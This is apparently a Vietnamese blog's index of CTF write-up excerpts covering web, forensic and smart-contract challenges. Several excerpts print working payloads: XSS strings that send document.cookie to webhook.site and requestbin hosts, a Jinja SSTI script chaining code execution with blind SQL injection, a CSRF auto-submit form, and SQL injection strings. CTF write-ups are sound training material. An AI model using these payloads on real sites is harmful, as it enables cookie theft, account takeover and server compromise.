
[The Ethernaut writeup] Hello Ethernaut
I. GIỚI THIỆU Ethernaut là một trò chơi dạng “Capture The Flag” (CTF) trên nền tảng Ethereum, được phát triển bởi OpenZeppelin. Trò chơi này nhằm giúp anh em học cách kiểm tra và khai thác các hợp đồng thông minh (smart contracts) bằng cách vượt qua các thử thách được thiết kế dựa trên…
Đọc tiếp
WRITE-UP KMA CTF 2023
1. Sanity Check 1.2. DiscordFlag ở trong discord, kênh announcement. KMACTF{KMA_CTF_2023_D1sc0rd_ch3cK3r} 2. For(ensic) 2.1. Time chaosĐề bài cho file Time_chaos.pcap, thực hiện mở file lên và nhận thấy rằng tất cả các gói tin trong file đều có giao thức ICMP. Theo như tên đề bài gợi ý, ta nhận thấy cột “Time” bị sắp…
Đọc tiếp
[Write-Up] – KCSC CTF (WEB)
1. ROBOT 2. Warm Up 3. D I O R 4. Magic PHP 5. Baby SQL Tham khảo:
Đọc tiếp
[Write-up] Cửa hàng đồ chơi Quận 4 – Junior Hacking Talents
link: https://junior.ctflag.asia/challenges 1 “select username from users where username=’\’ and password=’malicious command– -‘” Tham khảo:
Đọc tiếp
[Write-Up] NullCon CTF 2022 – Web
1. Jsonify 12345678910111213141516171819202122232425 classFlag{ public$isAllowedToSeeFlag; public$flagfile; public$properties= array(“isAllowedToSeeFlag”,”flagfile”); publicfunction__shutdown(){ return$this->properties; }}$obj= newFlag();$obj->isAllowedToSeeFlag = true;$obj->flagfile = “./flag.php”;//hàm này có sẵn trong source codefunctionsecure_jsonify($obj){ $data= array(); $data[‘class’] = get_class($obj); $data[‘properties’] = array(); foreach($obj->__shutdown() as& $key){ $data[‘properties’][$key] = serialize($obj->$key); } returnjson_encode($data);}echosecure_jsonify($obj); 2. Unis Love Code 3. Repass 123456789101112131415161718192021222324252627 importhashlibimportrandomfromdatetime importdatetimeimporttime# timestamp = int(time.time())# print(timestamp)timestamp =1660578999dt_object =datetime.fromtimestamp(timestamp)print(“time:”, dt_object)username =”ctf”rng_init =f”{username}:{timestamp // 10}”rng =random.Random(int.from_bytes(rng_init.encode(), byteorder=’little’))p_o_w =”pow:”+”.join([b forb inchr(rng.randint(97, 122)) fori inrange(rng.randint(10, 15))])print(p_o_w)key =1forsecret…
Đọc tiếp
[Write-Up] LITCTF – web challenge
1. Amy The Hedgehog 2. Secure Website 3. Emoji 1234567891011121314151617181920 #!pythonimportrequestsbase=”””{{request|attr(‘application’)|attr(‘\x5f\x5fglobals\x5f\x5f’)|attr(‘\x5f\x5fgetitem\x5f\x5f’)(‘\x5f\x5fbuiltins\x5f\x5f’)|attr(‘\x5f\x5fgetitem\x5f\x5f’)(‘\x5f\x5fimport\x5f\x5f’)(‘os’)|attr(‘popen’)(“python3 -c ” + “\\”exec(‘{i}’)\\””)|attr(‘read’)()}}”””flag=””j=1whileTrue: fori inrange(32,127): inject=”””import requests; r = requests.post(r\\”http://172.24.0.8:8080/runquery\\”, json={{\\”username\\”: \\”flag\\’ and substr(password,{j},1)=char({i});–\\”,\\”password\\”: \\”\\”}});print(r.text)”””.format(j=j,i=i) c=”.join([hex(ord(inject[i])).replace(‘0x’,’\\x’) fori inrange(len(inject))]) payload={ ‘username’:’a’, ‘password’:”{“+base.format(i=c)+”}” } r=requests.post(‘http://litctf.live:31781/’,data=payload,headers={“Content-Type”: “application/x-www-form-urlencoded”}) if”True”inr.text: flag+=chr(i) j+=1 print(flag) break Tham khảo:
Đọc tiếp
[Write-Up] – PicoCTF 2022
link: https://play.picoctf.org/events/70/challenges?category=1&page=1 1. Includes 2. Inspect HTML 3. Local Authority 4. Search source 5. Forbidden Paths 6. Power Cookie 7. Roboto Sans 8. Secrets 9. SQL Direct 10. SQLiLite 11. noted 123456789 data:text/html,<form action=”http://localhost:8080/login”method=POST id=pwn target=_blank> <input type=”text”name=”username”value=”a”><input type=”text”name=”password”value=”a”></form><script> window.open(‘http://localhost:8080/notes’, ‘pwn’); setTimeout(`pwn.submit()`, 1000); setTimeout(`window.location=’http://localhost:8080/notes?pwn’`, 1500);</script> Tham khảo:
Đọc tiếp
[Write-Up] – Rootme [XSS challenge]
1. XSS – Reflected 1 <script>alert(1)</script> 1 test” onmousemove=”alert(1) 1 test’ onmousemove=’alert(1) 1 test’ onmousemove=’document.location=”https://webhook.site/65a8b027-b90a-4aab-9e17-1ef2a69d67a2?cmd=”.concat(document.cookie) 2. XSS – Stored 1 1 <imgsrc=1onerror=’document.location=”https://webhook.site/65a8b027-b90a-4aab-9e17-1ef2a69d67a2?cmd=”+document.cookie’/> 3. XSS DOM Based – Introduction 1 test’; alert(1);// 1 test’; document.location=”https://webhook.site/65a8b027-b90a-4aab-9e17-1ef2a69d67a2?cmd=”.concat(document.cookie);// 1 http://challenge01.root-me.org/web-client/ch32/index.php?number=test%27;%20document.location=%22http://requestbin.net/r/crkucapp?cmd=%22.concat(document.cookie);// 4. XSS DOM based-AngularJS 1 test’; alert(1);// 1 {{constructor.constructor(“alert(1)”)()}} (đoạn mã này sử dụng hàm khởi tạo trong angular…
Đọc tiếp
[Write-Up] – Webhacking.kr, Root-me
I. Webhacking.kr Chall old-45 Link: https://webhacking.kr/challenge/web-22/ Ban đầu thì có một form login và bài này cho cả source code View source thì ta được đoạn mã Có thể thấy đầu vào đều được lọc bởi hàm addslashes, hàm nãy sẽ thêm \ vào trước các kí tự như là ‘,” hay \ mục đích là để làm sạch đầu…
Đọc tiếp
WRITE-UP ChristCTF (PTIT)
Hello các bạn 😀Nay mình xin chia sẻ một số kiến thức cơ bản của một “noober” 😥 qua mấy bài CTF khá là thú vị :v 1. Mini Con cu lay tờ (WEB) Xem đề cho gì nào Đề bài cho 1 cái máy tính và nó có thể tính mọi phép tính và…
Đọc tiếp
Write-up UIT CTF – WannaGame
Phải nói là lâu lắm rồi mình không viết blog. Chơi xong giải này mới thấy mình quên mất một số kiến thức hay ho nên phải lưu lại ngay =))Mình xin write-up bài khá là hay trong lần thi này: xss for newbie ¯\_(ツ)_/¯ Đọc xong đề và làm bài này thì mình thấy…
Đọc tiếpSomething went wrong. Please refresh the page and/or try again.